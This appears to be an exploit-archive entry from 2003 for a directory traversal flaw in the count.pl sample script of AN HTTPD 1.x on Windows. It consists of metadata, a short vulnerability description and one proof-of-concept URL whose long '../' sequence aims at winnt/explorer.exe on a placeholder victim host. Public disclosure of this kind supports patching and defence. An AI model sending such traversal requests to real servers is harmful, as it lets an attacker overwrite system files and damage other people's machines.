AN HTTPD 1.x - Count.pl Directory Traversal

Author: Matthew Murphy
type: remote
platform: windows
port: 
date_added: 2003-04-22  
date_updated: 2012-11-06  
verified: 1  
codes: OSVDB-49215  
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raw file: 22515.txt  
source: https://www.securityfocus.com/bid/7397/info

AN HTTPd contains a sample script named count.pl that may be used as a web counter. This script does not perform adequate access validation on paths containing directory traversal (../) character seqences. The vulnerable script may be used to overwrite any file to which it has write permissions by supplying that file name as input.

http://www.victim.com/isapi/count.pl??../../../../../../../../../../../../../../../../../../../../../../winnt/explorer.exe